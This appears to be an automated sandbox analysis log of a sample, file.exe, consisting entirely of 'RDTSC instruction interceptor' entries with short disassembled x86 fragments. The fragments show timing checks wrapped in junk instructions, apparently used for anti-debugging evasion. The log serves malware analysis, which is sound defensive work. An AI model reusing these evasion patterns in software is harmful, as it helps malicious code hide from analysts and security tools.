Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5497 second address: 11E549B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E549B second address: 11E54A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC14C6D0A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1551 second address: 11E1557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E455E second address: 11E4563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E55FC second address: 11E5600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1557 second address: 11E15F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FC14C6D0A28h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a mov bx, F90Fh 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 cmc 0x00000036 mov eax, dword ptr [ebp+122D04BDh] 0x0000003c push FFFFFFFFh 0x0000003e push 00000000h 0x00000040 push edi 0x00000041 call 00007FC14C6D0A28h 0x00000046 pop edi 0x00000047 mov dword ptr [esp+04h], edi 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc edi 0x00000054 push edi 0x00000055 ret 0x00000056 pop edi 0x00000057 ret 0x00000058 mov ebx, dword ptr [ebp+122D376Fh] 0x0000005e mov di, 05F6h 0x00000062 nop 0x00000063 pushad 0x00000064 pushad 0x00000065 jmp 00007FC14C6D0A2Eh 0x0000006a jmp 00007FC14C6D0A35h 0x0000006f popad 0x00000070 push eax 0x00000071 push edx 0x00000072 jnp 00007FC14C6D0A26h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6448 second address: 11E644E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4563 second address: 11E4569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E644E second address: 11E6465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E76E5 second address: 11E76E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6465 second address: 11E646B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8512 second address: 11E8517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E76E9 second address: 11E770A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC14CF3D6E9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E950C second address: 11E9518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA5D7 second address: 11EA5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6DFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E962E second address: 11E9634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC4F1 second address: 11EC4F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA5EB second address: 11EA5F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FC14C6D0A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE4BE second address: 11EE4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9634 second address: 11E9639 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8782 second address: 11E8789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF609 second address: 11EF60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE732 second address: 11EE738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2B6B second address: 11F2B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2B71 second address: 11F2B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199AEA second address: 1199B03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FC14C6D0A2Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199B03 second address: 1199B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199B09 second address: 1199B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7511 second address: 11F751D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FC14CF3D6D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7675 second address: 11F7679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7806 second address: 11F7824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7824 second address: 11F7828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7828 second address: 11F7847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e jmp 00007FC14CF3D6E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9E04 second address: 11F9E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9E0B second address: 11F9E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14CF3D6E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCDB6 second address: 11FCDEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14C6D0A2Ch 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FC14C6D0A39h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCDEB second address: 11FCDEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCE90 second address: 11FCEBC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC14C6D0A28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FC14C6D0A38h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCEBC second address: 11FCEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FC14CF3D6E8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCEDC second address: 11FCEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FC14C6D0A26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCEED second address: 11FCEFB instructions: 0x00000000 rdtsc 0x00000002 je 00007FC14CF3D6D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCEFB second address: 11FCEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203991 second address: 12039A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC14CF3D6D6h 0x00000008 jmp 00007FC14CF3D6DEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12039A9 second address: 12039B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12039B7 second address: 12039BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202CE8 second address: 1202CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202CEC second address: 1202D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jns 00007FC14CF3D6DEh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202D06 second address: 1202D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC14C6D0A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12031C1 second address: 12031C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203419 second address: 120341D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203563 second address: 1203576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jnp 00007FC14CF3D6E2h 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207764 second address: 1207768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207768 second address: 1207770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207770 second address: 1207780 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007FC14C6D0A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207A02 second address: 1207A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC14CF3D6D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207A0C second address: 1207A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A30h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007FC14C6D0A2Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007FC14C6D0A35h 0x0000001a popad 0x0000001b jl 00007FC14C6D0A34h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207A4B second address: 1207A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207B88 second address: 1207B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push esi 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207CDE second address: 1207CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120817A second address: 1208191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14C6D0A2Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208191 second address: 1208195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208469 second address: 120846D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12085B8 second address: 12085DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC14CF3D6D6h 0x0000000a pushad 0x0000000b popad 0x0000000c js 00007FC14CF3D6D6h 0x00000012 popad 0x00000013 jbe 00007FC14CF3D6DEh 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12085DC second address: 12085E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120873E second address: 1208744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208744 second address: 1208754 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FC14C6D0A26h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120D1DA second address: 120D1E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120D6E7 second address: 120D703 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC14C6D0A32h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120D703 second address: 120D728 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FC14CF3D6D6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC14CF3D6DDh 0x00000013 pushad 0x00000014 jnl 00007FC14CF3D6D6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120D728 second address: 120D758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A35h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FC14C6D0A32h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CD56 second address: 120CD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jnp 00007FC14CF3D6D6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120E0EE second address: 120E0FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC14C6D0A26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120E0FA second address: 120E10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC14CF3D6DAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120E10B second address: 120E111 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120E111 second address: 120E117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5E10 second address: 11D5E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F7C second address: 11D5FF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FC14CF3D6E8h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jmp 00007FC14CF3D6E6h 0x00000019 jmp 00007FC14CF3D6DFh 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push ecx 0x00000024 push ecx 0x00000025 pushad 0x00000026 popad 0x00000027 pop ecx 0x00000028 pop ecx 0x00000029 pop eax 0x0000002a call 00007FC14CF3D6D9h 0x0000002f push esi 0x00000030 push eax 0x00000031 jnc 00007FC14CF3D6D6h 0x00000037 pop eax 0x00000038 pop esi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jnc 00007FC14CF3D6D6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5FF2 second address: 11D5FF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5FF8 second address: 11D6015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14CF3D6E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6340 second address: 11D6345 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6912 second address: 11D6917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CD1 second address: 11D6CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CD5 second address: 11D6D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or edi, dword ptr [ebp+122D397Bh] 0x00000010 lea eax, dword ptr [ebp+1248973Ah] 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FC14CF3D6D8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push esi 0x00000031 mov edx, dword ptr [ebp+122D2821h] 0x00000037 pop edi 0x00000038 movzx edi, cx 0x0000003b jl 00007FC14CF3D6DCh 0x00000041 mov dword ptr [ebp+122D1E1Ch], ebx 0x00000047 nop 0x00000048 pushad 0x00000049 pushad 0x0000004a jmp 00007FC14CF3D6DCh 0x0000004f ja 00007FC14CF3D6D6h 0x00000055 popad 0x00000056 jmp 00007FC14CF3D6DCh 0x0000005b popad 0x0000005c push eax 0x0000005d push eax 0x0000005e jmp 00007FC14CF3D6E3h 0x00000063 pop eax 0x00000064 nop 0x00000065 lea eax, dword ptr [ebp+124896F6h] 0x0000006b jp 00007FC14CF3D6DAh 0x00000071 mov dx, 66FAh 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 je 00007FC14CF3D6DCh 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6D73 second address: 11D6D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211AD2 second address: 1211AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6DAh 0x00000009 popad 0x0000000a pop edi 0x0000000b jo 00007FC14CF3D6E8h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211C18 second address: 1211C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC14C6D0A32h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211C2F second address: 1211C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211C35 second address: 1211C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211D7F second address: 1211D89 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC14CF3D6D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211EDF second address: 1211EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211EE9 second address: 1211EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212086 second address: 12120A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
